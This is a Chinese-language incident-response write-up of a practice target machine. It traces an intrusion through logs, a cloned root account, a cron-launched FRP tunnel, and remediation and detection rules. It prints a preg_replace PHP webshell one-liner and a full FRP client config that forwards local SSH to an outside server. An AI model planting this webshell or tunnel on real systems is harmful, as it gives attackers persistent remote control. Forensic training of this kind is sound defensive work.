Web2靶机实战:从入侵痕迹分析到应急响应全流程

Web2靶机实战:从入侵痕迹分析到应急响应全流程

1. 靶机环境与挑战概述

Web2靶机是近年来安全圈内广受好评的应急响应实战平台,模拟了企业级Linux服务器遭遇入侵后的典型场景。这个靶场最吸引人的地方在于它完整复现了攻击者从外网渗透到内网横向移动的全链条行为,包含了Web漏洞利用、权限维持、内网穿透等企业安全事件中的高频攻击手法。

我花了三天时间完整走通这个靶机,发现其设计精妙之处在于:攻击者不仅留下了webshell、隐藏账户等常见痕迹,还通过FRP实现了内网穿透。整个溯源过程需要综合运用日志分析、文件取证、网络流量分析等多种技能,非常贴近真实应急响应场景。

2. 初始入侵痕迹分析

2.1 Web日志关键线索提取

首先检查/var/log/apache2/access.log,通过以下命令快速定位异常请求:

cat access.log | grep -E 'union|select|eval|base64|system|exec' --color=auto

发现攻击者分三个阶段实施入侵:

  1. 通过/admin.php?id=1'尝试SQL注入
  2. 使用/upload.php上传包含恶意代码的图片马
  3. 访问/images/shell.php?cmd=whoami执行命令

关键时间点取证技巧:

# 提取指定时间段的日志(攻击发生在14:00-15:00) sed -n '/14:00:00/,/15:00:00/p' access.log > attack_period.log # 统计高频访问IP awk '{print $1}' attack_period.log | sort | uniq -c | sort -nr

2.2 后门文件定位与分析

在/var/www/html/images目录发现可疑文件:

  • .config.php(Webshell)
  • thumb.jpg(图片马实际是PHP脚本)

使用file命令验证文件真实类型:

file thumb.jpg # 显示"PHP script text"

Webshell特征分析:

<?php @preg_replace("/[page]/e",$_POST['cmd'],"saft"); ?>

这是一种典型的preg_replace命令执行后门,通过POST传递cmd参数执行系统命令。

3. 系统级入侵痕迹排查

3.1 用户账户异常检测

常规检查可能漏掉克隆用户,需要对比以下文件:

# 检查/etc/passwd与/etc/shadow的UID对应关系 awk -F: '{print $1,$3}' /etc/passwd > /tmp/passwd_uids awk -F: '{print $1,$3}' /etc/shadow > /tmp/shadow_uids diff /tmp/passwd_uids /tmp/shadow_uids # 查找UID为0的异常账户 awk -F: '($3 == 0) {print $1}' /etc/passwd

发现攻击者创建了克隆root用户:

  • 合法root用户:root:x:0:0:root:/root:/bin/bash
  • 克隆用户:toor:x:0:0:root:/root:/bin/zsh

3.2 计划任务与启动项检查

在/etc/crontab中发现可疑任务:

*/5 * * * * root /usr/bin/frpc -c /etc/frp/frpc.ini > /dev/null 2>&1

通过systemctl list-unit-files发现伪装服务:

systemctl list-unit-files | grep -i 'frp\|proxy\|tunnel'

4. 内网穿透行为溯源

4.1 FRP配置文件分析

在/etc/frp/frpc.ini中发现关键配置:

[common] server_addr = 45.32.112.18 server_port = 7000 token = FrpTunn3l@2023 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000

网络连接验证:

netstat -antp | grep frpc ss -antp | grep 6000

4.2 网络流量取证

使用tcpdump抓取FRP通信流量:

tcpdump -i eth0 host 45.32.112.18 -w frp_traffic.pcap

关键发现:

  • 每5分钟建立一次TCP长连接
  • 数据传输使用TLS加密
  • 存在SSH隧道复用特征

5. 完整攻击链重建

根据取证结果还原攻击流程:

  1. Web应用漏洞利用阶段

    • SQL注入探测 → 文件上传漏洞 → Webshell植入
    • 攻击IP:192.168.1.100(可能为跳板机)
  2. 权限提升与持久化

    • 通过SUDO配置漏洞获取root
    • 创建克隆用户toor
    • 部署FRP客户端
  3. 内网横向移动

    • 建立SSH反向隧道
    • 绕过防火墙限制
    • 维持长期控制通道

6. 应急响应处置建议

6.1 立即处置措施

# 清除恶意进程 pkill frpc rm -f /usr/bin/frpc # 删除异常用户 userdel -r toor # 清理Webshell rm -f /var/www/html/images/{.config.php,thumb.jpg}

6.2 系统加固方案

  1. 文件完整性监控:
# 监控关键目录 apt install aide aideinit
  1. 网络连接告警规则示例(Suricata):
alert tcp any any -> any any (msg:"FRP Protocol Detected"; content:"|00 01 00|"; depth:3; content:"frpc"; nocase; sid:1000001; rev:1;)
  1. 用户行为审计增强:
# 启用auditd监控特权操作 auditctl -a always,exit -F arch=b64 -S execve -k root_cmd

7. 防御体系优化思考

这个案例暴露出三个典型问题:

  1. 应用层防护缺失:未部署WAF导致简单SQL注入成功
  2. 权限控制不严格:SUDO配置不当导致提权
  3. 网络监控盲区:异常外连行为未被发现

建议的防御矩阵:

graph TD A[边界防护] --> B[WAF+IPS] B --> C[主机HIDS] C --> D[网络流量分析] D --> E[日志集中审计]

实际工作中推荐采用ATT&CK框架进行防御对标,重点关注:

  • T1078(有效账户)
  • T1098(账户操纵)
  • T1572(协议隧道)

最后分享一个实用命令合集,用于快速排查类似事件:

# 用户排查 getent passwd | awk -F: '$3 == 0' lastlog | grep -v "Never" # 进程排查 ps auxf | grep -E 'frp|ncat|socat|reGeorg' lsof -i -P -n | grep ESTABLISHED # 文件排查 find / -name "*.php" -mtime -7 find / -type f -name ".*" -perm 0755